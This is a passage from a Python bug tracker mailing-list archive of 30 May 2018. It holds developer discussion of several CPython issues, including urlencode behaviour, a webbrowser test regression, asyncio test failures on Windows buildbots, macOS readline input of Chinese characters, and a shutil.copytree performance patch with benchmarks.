urlencode: In [3]: urlencode({'key': ['value']}, doseq=True) Out[3]: 'key=value' In [4]: urlencode({'key': []}, doseq=True) Out[4]: '' So, in our source code, we do urlecode(params, doseq=True), which can have keys with empty list as values and it gets dropped completely. To get it to work properly, I instead pass around an empty string as a value when the length of list is 0, which conveys the server that the value of the key is empty. I wonder if it would make sense for urlencode to do that by default given doseq=True is meant to encode lists properly. ---------- messages: 318153 nosy: maxking priority: normal severity: normal status: open title: urlib.parse.urlencode with empty list and doseq=True drops the parameter type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 01:31:10 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 30 May 2018 05:31:10 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527658270.73.0.682650639539.issue33597@psf.upfronthosting.co.za> INADA Naoki added the comment: > Is the PR already ready for review? I think so. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 01:34:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 05:34:34 +0000 Subject: [issue33691] Refactor docstring handling code in the compiler Message-ID: <1527658474.71.0.682650639539.issue33691@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : Similar non-trivial code is used in several places in the compiler for handling docstrings. The proposed PR adds a helper _PyAST_GetDocString() for reusing a code. ---------- components: Interpreter Core messages: 318155 nosy: benjamin.peterson, brett.cannon, inada.naoki, ncoghlan, serhiy.storchaka, yselivanov priority: normal severity: normal status: open title: Refactor docstring handling code in the compiler type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 01:40:12 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 05:40:12 +0000 Subject: [issue33691] Refactor docstring handling code in the compiler In-Reply-To: <1527658474.71.0.682650639539.issue33691@psf.upfronthosting.co.za> Message-ID: <1527658812.05.0.682650639539.issue33691@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6866 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 01:59:07 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Wed, 30 May 2018 05:59:07 +0000 Subject: [issue33530] Implement Happy Eyeball in asyncio In-Reply-To: <1526439388.6.0.682650639539.issue33530@psf.upfronthosting.co.za> Message-ID: <1527659947.0.0.682650639539.issue33530@psf.upfronthosting.co.za> Change by twisteroid ambassador : ---------- pull_requests: +6867 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 02:27:45 2018 From: report at bugs.python.org (R. David Murray) Date: Wed, 30 May 2018 06:27:45 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter In-Reply-To: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> Message-ID: <1527661665.58.0.682650639539.issue33690@psf.upfronthosting.co.za> R. David Murray added the comment: If a sequence as a value means repeated instances of a key with each value from the list, then logically an empty list means no instances of the key, as documented. Blank values aren't really part of the standard (such as it is): the absence of a parameter is supposed to be equivalent to the value being empty. Because of this, you have to pass keep_blank_values=True to parse_qs to retain keys with blank values. I think it is reasonable that you have to take extra action if you want an empty list of values to instead result in a single key with a blank value. So, this is working as designed and desired, I think. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 03:15:15 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 30 May 2018 07:15:15 +0000 Subject: [issue33238] AssertionError on await of Future returned by asyncio.wrap_future In-Reply-To: <1523037765.71.0.682650639539.issue33238@psf.upfronthosting.co.za> Message-ID: <1527664515.69.0.682650639539.issue33238@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset 0a28c0d12ee7201de039ced4d815f57f1f8fd48c by Andrew Svetlov (jhaydaman) in branch 'master': bpo-33238: Add InvalidStateError to concurrent.futures. (GH-7056) https://github.com/python/cpython/commit/0a28c0d12ee7201de039ced4d815f57f1f8fd48c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 03:49:22 2018 From: report at bugs.python.org (YoSTEALTH) Date: Wed, 30 May 2018 07:49:22 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527666562.31.0.682650639539.issue31368@psf.upfronthosting.co.za> YoSTEALTH added the comment: I can't at the moment, i am out of country for couple more months. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 03:56:18 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 07:56:18 +0000 Subject: [issue33691] Refactor docstring handling code in the compiler In-Reply-To: <1527658474.71.0.682650639539.issue33691@psf.upfronthosting.co.za> Message-ID: <1527666978.63.0.682650639539.issue33691@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 143ce5c6db77a0b9d451b8463dee6752358a9ea4 by Serhiy Storchaka in branch 'master': bpo-33691: Add _PyAST_GetDocString(). (GH-7236) https://github.com/python/cpython/commit/143ce5c6db77a0b9d451b8463dee6752358a9ea4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 03:57:00 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 30 May 2018 07:57:00 +0000 Subject: [issue33691] Refactor docstring handling code in the compiler In-Reply-To: <1527658474.71.0.682650639539.issue33691@psf.upfronthosting.co.za> Message-ID: <1527667020.97.0.682650639539.issue33691@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 04:05:14 2018 From: report at bugs.python.org (Andres Ayala) Date: Wed, 30 May 2018 08:05:14 +0000 Subject: [issue33660] pathlib.Path.resolve() returns path with double slash when resolving a relative path in root directory In-Reply-To: <1527418713.03.0.682650639539.issue33660@psf.upfronthosting.co.za> Message-ID: <1527667514.97.0.682650639539.issue33660@psf.upfronthosting.co.za> Change by Andres Ayala : ---------- nosy: +killerrex _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 05:36:41 2018 From: report at bugs.python.org (Valentin Zhao) Date: Wed, 30 May 2018 09:36:41 +0000 Subject: [issue33692] Chinese characters issue with input() function Message-ID: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> New submission from Valentin Zhao : DIRECTLY run(i.e., python xxx/xxx/input_test.py) the file below and input other Chinese characters, then press backspace to delete them. You will find that you cannot delete them all, and even the cursor in the terminal misplaces and overlaps with the characters. This issue is only reproduced under Mac OS X, everything is fine with Windows. ---------- components: 2to3 (2.x to 3.x conversion tool) files: input_test.py messages: 318160 nosy: Valentin Zhao priority: normal severity: normal status: open title: Chinese characters issue with input() function type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47623/input_test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 05:38:58 2018 From: report at bugs.python.org (Valentin Zhao) Date: Wed, 30 May 2018 09:38:58 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527673138.56.0.682650639539.issue33692@psf.upfronthosting.co.za> Change by Valentin Zhao : ---------- title: Chinese characters issue with input() function -> Chinese characters issue with input() function under Mac OSX _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 06:06:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 10:06:20 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527674780.46.0.682650639539.issue23859@psf.upfronthosting.co.za> STINNER Victor added the comment: Thank you Elvis for the documentation! Cancellation is one of the most complex part of asynchronous programming, and I don't think that asyncio documentation explains it properly. We may document the behaviour on cancellation for most task functions. https://docs.python.org/dev/library/asyncio-task.html#task-functions as_completed() behaviour on cancellation is not documented for example. The wait() documentation should be backported to 3.6 as well. ---------- versions: +Python 3.7, Python 3.8 -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 06:14:28 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 10:14:28 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527675268.09.0.682650639539.issue33597@psf.upfronthosting.co.za> STINNER Victor added the comment: I asked if this change breaks the stable ABI. Steve Dower replied: "Looks like it breaks the 3.7 ABI, which is certainly not allowed at this time. But it?s not a limited API structure, so no problem for 3.8." https://mail.python.org/pipermail/python-dev/2018-May/153745.html I didn't understand the answer. It breaks the ABI but it doesn't break the API? It seems like PyObject.ob_refcnt is part of the "Py_LIMITED_API" and so an extension module using the stable API/ABI can access directly the field with no function call. For example, Py_INCREF() modifies directly the field at the ABI level. *But* PyGC_Head is a strange thing since it's stored "before" the usual PyObject* pointer, so fields starting at PyObject* address are not affected by this change, no? Hopefully, PyGC_Head seems to be excluded from PyGC_Head, and so it seems like the PR 7043 doesn't break the stable *ABI*. Can someone please confirm my analysis? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 06:59:34 2018 From: report at bugs.python.org (Greg Walters) Date: Wed, 30 May 2018 10:59:34 +0000 Subject: [issue33693] test test_webbrowser failed Message-ID: <1527677974.5.0.682650639539.issue33693@psf.upfronthosting.co.za> New submission from Greg Walters : Python 3.70b4 Linux Mint 18.3 Dell Latitude-E5500 While running make test got the following error... ====================================================================== ERROR: test_get (test.test_webbrowser.ImportTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/greg/Downloads/Python-3.7.0b4/Lib/test/test_webbrowser.py", line 290, in test_get webbrowser.get('fakebrowser') File "/home/greg/Downloads/Python-3.7.0b4/Lib/webbrowser.py", line 42, in get register_standard_browsers() File "/home/greg/Downloads/Python-3.7.0b4/Lib/webbrowser.py", line 567, in register_standard_browsers cmd = _synthesize(cmdline, -1) File "/home/greg/Downloads/Python-3.7.0b4/Lib/webbrowser.py", line 116, in _synthesize register(browser, None, controller, update_tryorder) TypeError: register() takes from 2 to 3 positional arguments but 4 were given ====================================================================== ERROR: test_register (test.test_webbrowser.ImportTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/greg/Downloads/Python-3.7.0b4/Lib/test/test_webbrowser.py", line 277, in test_register webbrowser.register('Example1', ExampleBrowser) File "/home/greg/Downloads/Python-3.7.0b4/Lib/webbrowser.py", line 26, in register register_standard_browsers() File "/home/greg/Downloads/Python-3.7.0b4/Lib/webbrowser.py", line 567, in register_standard_browsers cmd = _synthesize(cmdline, -1) File "/home/greg/Downloads/Python-3.7.0b4/Lib/webbrowser.py", line 116, in _synthesize register(browser, None, controller, update_tryorder) TypeError: register() takes from 2 to 3 positional arguments but 4 were given ---------------------------------------------------------------------- Ran 31 tests in 0.073s FAILED (errors=2) test test_webbrowser failed 1 test failed again: test_webbrowser Total duration: 10 min 50 sec Tests result: FAILURE Makefile:1066: recipe for target 'test' failed make: *** [test] Error 2 Did not try to go any further. ---------- components: Build messages: 318163 nosy: Greg Walters priority: normal severity: normal status: open title: test test_webbrowser failed type: compile error versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:19:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 11:19:38 +0000 Subject: [issue33694] test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x Message-ID: <1527679178.26.0.682650639539.issue33694@psf.upfronthosting.co.za> New submission from STINNER Victor : test_asyncio.test_start_tls_server_1() got many fixes recently: see bpo-32458 and bpo-33674... but it still fails on Python on x86 Windows7 3.x at revision bb9474f1fb2fc7c7ed9f826b78262d6a12b5f9e8 which contains all these fixes. The test fails even when test_asyncio is re-run alone (not when other tests run in parallel). http://buildbot.python.org/all/#/builders/58/builds/930 ====================================================================== ERROR: test_start_tls_server_1 (test.test_asyncio.test_sslproto.ProactorStartTLSTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_asyncio\test_sslproto.py", line 467, in test_start_tls_server_1 self.loop.run_until_complete(run_main()) File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\asyncio\base_events.py", line 566, in run_until_complete raise RuntimeError('Event loop stopped before Future completed.') RuntimeError: Event loop stopped before Future completed. ====================================================================== FAIL: test_start_tls_server_1 (test.test_asyncio.test_sslproto.ProactorStartTLSTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_asyncio\functional.py", line 42, in tearDown self.fail('unexpected calls to loop.call_exception_handler()') AssertionError: unexpected calls to loop.call_exception_handler() The test fails also on x86 Windows7 3.7: ====================================================================== ERROR: test_start_tls_server_1 (test.test_asyncio.test_sslproto.ProactorStartTLSTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\test\test_asyncio\test_sslproto.py", line 467, in test_start_tls_server_1 self.loop.run_until_complete(run_main()) File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\asyncio\base_events.py", line 566, in run_until_complete raise RuntimeError('Event loop stopped before Future completed.') RuntimeError: Event loop stopped before Future completed. ====================================================================== FAIL: test_start_tls_server_1 (test.test_asyncio.test_sslproto.ProactorStartTLSTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\test\test_asyncio\functional.py", line 42, in tearDown self.fail('unexpected calls to loop.call_exception_handler()') AssertionError: unexpected calls to loop.call_exception_handler() Moreover, 3.7 got an additional failure: ====================================================================== ERROR: test_pipe_handle (test.test_asyncio.test_windows_utils.PipeTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\test\test_asyncio\test_windows_utils.py", line 73, in test_pipe_handle raise RuntimeError('expected ERROR_INVALID_HANDLE') RuntimeError: expected ERROR_INVALID_HANDLE The Windows7 buildbot is known to be slow. For example, test_value() of test_multiprocessing_spawn failed with a timeout (15 min) on x86 Windows7 3.x: 0:48:12 [276/416/1] test_multiprocessing_spawn crashed (Exit code 1) Timeout (0:15:00)! Thread 0x000008e4 (most recent call first): File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\popen_spawn_win32.py", line 80 in wait File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\process.py", line 140 in join File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 1925 in test_value Maybe something is wrong with my karma, I don't know. Or test_asyncio just hate me. ---------- components: Tests, asyncio messages: 318164 nosy: asvetlov, vstinner, yselivanov priority: normal severity: normal status: open title: test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:20:51 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 11:20:51 +0000 Subject: [issue33694] test_asyncio: test_start_tls_server_1() fails on Python on x86 Windows7 3.7 and 3.x In-Reply-To: <1527679178.26.0.682650639539.issue33694@psf.upfronthosting.co.za> Message-ID: <1527679251.04.0.682650639539.issue33694@psf.upfronthosting.co.za> STINNER Victor added the comment: The test fails also on x86 Windows7 3.7: http://buildbot.python.org/all/#/builders/111/builds/297 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:22:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 11:22:38 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527677974.5.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: <1527679358.3.0.682650639539.issue33693@psf.upfronthosting.co.za> STINNER Victor added the comment: It seems to be a regression caused by bpo-24241. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:23:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 11:23:16 +0000 Subject: [issue24241] webbrowser default browser detection and/or public API for _trylist. In-Reply-To: <1432042982.05.0.828874094042.issue24241@psf.upfronthosting.co.za> Message-ID: <1527679396.5.0.682650639539.issue24241@psf.upfronthosting.co.za> STINNER Victor added the comment: It seems like this issue introduced a regression: bpo-33693. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:24:34 2018 From: report at bugs.python.org (Greg Walters) Date: Wed, 30 May 2018 11:24:34 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527679358.3.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: Greg Walters added the comment: Thank you. On Wed, May 30, 2018 at 6:22 AM, STINNER Victor wrote: > > STINNER Victor added the comment: > > It seems to be a regression caused by bpo-24241. > > ---------- > nosy: +vstinner > > _______________________________________ > Python tracker > > _______________________________________ > -- Greg Walters Heard from a Klingon Programmer: "Klingon programs don't *do* accountancy. For that, you need a Farengi programmer." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:26:56 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 11:26:56 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527679616.7.0.682650639539.issue33692@psf.upfronthosting.co.za> STINNER Victor added the comment: input() uses readline. On macOS, readline is provided by libedit. It may be a bug in libedit which is an external dependency, and so not maintained by Python. ---------- components: +macOS -2to3 (2.x to 3.x conversion tool) nosy: +ned.deily, ronaldoussoren, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:28:43 2018 From: report at bugs.python.org (Martin Panter) Date: Wed, 30 May 2018 11:28:43 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527677974.5.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: <1527679723.17.0.682650639539.issue33693@psf.upfronthosting.co.za> Martin Panter added the comment: This sounds like the existing bug Issue 31014 ---------- nosy: +martin.panter superseder: -> webbrowser._synthesize uses outdated calling signature for webbrowser.register _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:40:07 2018 From: report at bugs.python.org (Greg Walters) Date: Wed, 30 May 2018 11:40:07 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527679723.17.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: Greg Walters added the comment: Thank you On Wed, May 30, 2018, 6:28 AM Martin Panter wrote: > > Martin Panter added the comment: > > This sounds like the existing bug Issue 31014 > > ---------- > nosy: +martin.panter > superseder: -> webbrowser._synthesize uses outdated calling signature for > webbrowser.register > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 07:45:44 2018 From: report at bugs.python.org (Tobias Kunze) Date: Wed, 30 May 2018 11:45:44 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1527680744.57.0.682650639539.issue22021@psf.upfronthosting.co.za> Tobias Kunze added the comment: Thank you, that's what I figured out later last evening. To my understanding, the docs don't give any indication that base_dir is supposed to be relative to root_dir, so I'd add this information, and maybe add a similar example to the one above, if that's appropriate? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:12:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 12:12:17 +0000 Subject: [issue31014] webbrowser._synthesize uses outdated calling signature for webbrowser.register In-Reply-To: <1500906744.5.0.485850012333.issue31014@psf.upfronthosting.co.za> Message-ID: <1527682337.82.0.682650639539.issue31014@psf.upfronthosting.co.za> STINNER Victor added the comment: bpo-33693 has been marked as a duplicate of this issue. It seems to be a regression caused by bpo-24241. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:15:57 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 12:15:57 +0000 Subject: [issue31014] webbrowser._synthesize uses outdated calling signature for webbrowser.register In-Reply-To: <1500906744.5.0.485850012333.issue31014@psf.upfronthosting.co.za> Message-ID: <1527682557.19.0.682650639539.issue31014@psf.upfronthosting.co.za> STINNER Victor added the comment: I'm surprised that test_webbrowser pass on my Fedora 28, but it fails for Greg Walters: https://bugs.python.org/issue33693#msg318163 Some tests are skipped depending on the OS? Maybe we should mock more things, or something else, to get a better code coverage. I ran PR 2689 new test without the fix on webbrowser.py: the test doesn't fail. So this PR is not enough to detect bpo-33693. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:22:35 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 30 May 2018 12:22:35 +0000 Subject: [issue33695] Have shutil.copytree(), copy() and copystat() use cached scandir() stat()s Message-ID: <1527682955.69.0.682650639539.issue33695@psf.upfronthosting.co.za> New submission from Giampaolo Rodola' : Patch in attachment makes shutil.copytree() use os.scandir() and (differently from #33414) DirEntry instances are passed around so that cached stat()s are used also from within copy2() and copystat() functions. The number of times the filesystem gets accessed via os.stat() is therefore reduced quite consistently. A similar improvement can be done for rmtree() (but that's for another ticket). Patch and benchmark script are in attachment. Linux (+13.5% speedup) ====================== --- without patch: ./python bench.py Priming the system's cache... 7956 files and dirs, repeat 1/3... min = 0.551s 7956 files and dirs, repeat 2/3... min = 0.548s 7956 files and dirs, repeat 3/3... min = 0.548s best result = 0.548s --- with patch: $ ./python bench.py Priming the system's cache... 7956 files and dirs, repeat 1/3... min = 0.481s 7956 files and dirs, repeat 2/3... min = 0.479s 7956 files and dirs, repeat 3/3... min = 0.474s best result = 0.474s Windows (+17% speedup) ====================== --- without patch: ./python bench.py Priming the system's cache... 7956 files and dirs, repeat 1/3... min = 9.015s 7956 files and dirs, repeat 2/3... min = 8.747s 7956 files and dirs, repeat 3/3... min = 8.614s best result = 8.614s --- with patch: $ ./python bench.py Priming the system's cache... 7956 files and dirs, repeat 1/3... min = 7.827s 7956 files and dirs, repeat 2/3... min = 7.369s 7956 files and dirs, repeat 3/3... min = 7.153s best result = 7.153s Windows SMB share (+30%) ======================== --- without patch: C:\Users\user\Desktop\cpython>PCbuild\win32\python.exe bench.py Priming the system's cache... 7956 files and dirs, repeat 1/3... min = 46.853s 7956 files and dirs, repeat 2/3... min = 46.330s 7956 files and dirs, repeat 3/3... min = 44.720s best result = 44.720s --- with patch: C:\Users\user\Desktop\cpython>PCbuild\win32\python.exe bench.py Priming the system's cache... 7956 files and dirs, repeat 1/3... min = 31.729s 7956 files and dirs, repeat 2/3... min = 30.936s 7956 files and dirs, repeat 3/3... min = 30.936s best result = 30.936s Number of stat() syscalls (-38%) ================================ --- without patch: $ strace ./python bench.py 2>&1 | grep "stat(" | wc -l 324808 --- with patch: $ strace ./python bench.py 2>&1 | grep "stat(" | wc -l 198768 ---------- components: Library (Lib) files: bench.py messages: 318175 nosy: giampaolo.rodola priority: normal severity: normal stage: patch review status: open title: Have shutil.copytree(), copy() and copystat() use cached scandir() stat()s type: performance versions: Python 3.8 Added file: https://bugs.python.org/file47624/bench.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:23:33 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 30 May 2018 12:23:33 +0000 Subject: [issue33695] Have shutil.copytree(), copy() and copystat() use cached scandir() stat()s In-Reply-To: <1527682955.69.0.682650639539.issue33695@psf.upfronthosting.co.za> Message-ID: <1527683013.02.0.682650639539.issue33695@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- keywords: +patch Added file: https://bugs.python.org/file47625/bpo-33695.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:27:57 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 30 May 2018 12:27:57 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527683277.98.0.682650639539.issue32911@psf.upfronthosting.co.za> Nick Coghlan added the comment: In that case, closing this as resolved. Folks interested in the idea of a "suite" compilation mode to compile a series of statements without special-casing the first one as a potential docstring, as well as the idea of a dedicated DocString AST node may want to open new RFEs for 3.8 :) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:29:37 2018 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 30 May 2018 12:29:37 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527683377.62.0.682650639539.issue33692@psf.upfronthosting.co.za> Xiang Zhang added the comment: I could reproduce the behavior that console output doesn't match what Python gets. I agree with Victor this may not be a Python problem. I could also reproduce the behavior with Ruby reading Chinese characters from console. ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:30:48 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 30 May 2018 12:30:48 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527677974.5.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: <1527683448.92.0.682650639539.issue33693@psf.upfronthosting.co.za> Change by Nick Coghlan : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed type: compile error -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:35:15 2018 From: report at bugs.python.org (R. David Murray) Date: Wed, 30 May 2018 12:35:15 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1527683715.93.0.682650639539.issue22021@psf.upfronthosting.co.za> R. David Murray added the comment: Sounds reasonable to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:35:32 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 30 May 2018 12:35:32 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527683732.0.0.682650639539.issue33692@psf.upfronthosting.co.za> Ned Deily added the comment: FTR: > On macOS, readline is provided by libedit. It *may* be provided by libedit. GNU readline is also commonly used on macOS, although it is not provided by Apple. The easiest way to tell which is in use is to examine the __doc__ attribute of the readline module: $ /usr/local/bin/python3.6 -c 'import readline;print(readline.__doc__)' Importing this module enables command line editing using libedit readline. $ /macports/bin/python3.6 -c 'import readline;print(readline.__doc__)' Importing this module enables command line editing using GNU readline. https://docs.python.org/3/library/readline.html#module-readline ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:37:14 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 30 May 2018 12:37:14 +0000 Subject: [issue24241] webbrowser default browser detection and/or public API for _trylist. In-Reply-To: <1432042982.05.0.828874094042.issue24241@psf.upfronthosting.co.za> Message-ID: <1527683834.43.0.682650639539.issue24241@psf.upfronthosting.co.za> Change by Berker Peksag : ---------- pull_requests: -1099 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:38:42 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 30 May 2018 12:38:42 +0000 Subject: [issue33692] Chinese characters issue with input() function under Mac OSX In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527683922.82.0.682650639539.issue33692@psf.upfronthosting.co.za> Ned Deily added the comment: Xiang Zhang, was that on macOS? If so, can someone try on one or more Linux systems with a Chinese locale? I see the same behavior on Linux but I'm not sure that I'm testing it properly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:41:11 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 30 May 2018 12:41:11 +0000 Subject: [issue31014] webbrowser._synthesize uses outdated calling signature for webbrowser.register In-Reply-To: <1500906744.5.0.485850012333.issue31014@psf.upfronthosting.co.za> Message-ID: <1527684071.44.0.682650639539.issue31014@psf.upfronthosting.co.za> Change by Nick Coghlan : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 08:41:24 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 30 May 2018 12:41:24 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1527675268.09.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: INADA Naoki added the comment: On Wed, May 30, 2018 at 7:14 PM STINNER Victor wrote: > STINNER Victor added the comment: > I asked if this change breaks the stable ABI. Steve Dower replied: > "Looks like it breaks the 3.7 ABI, which is certainly not allowed at this time. But it?s not a limited API structure, so no problem for 3.8." > https://mail.python.org/pipermail/python-dev/2018-May/153745.html > I didn't understand the answer. It breaks the ABI but it doesn't break the API? It breaks ABI, but it is not part of the "stable" ABI. So we can't commit it on 3.7, but we can commit it on 3.8. > It seems like PyObject.ob_refcnt is part of the "Py_LIMITED_API" and so an extension module using the stable API/ABI can access directly the field with no function call. For example, Py_INCREF() modifies directly the field at the 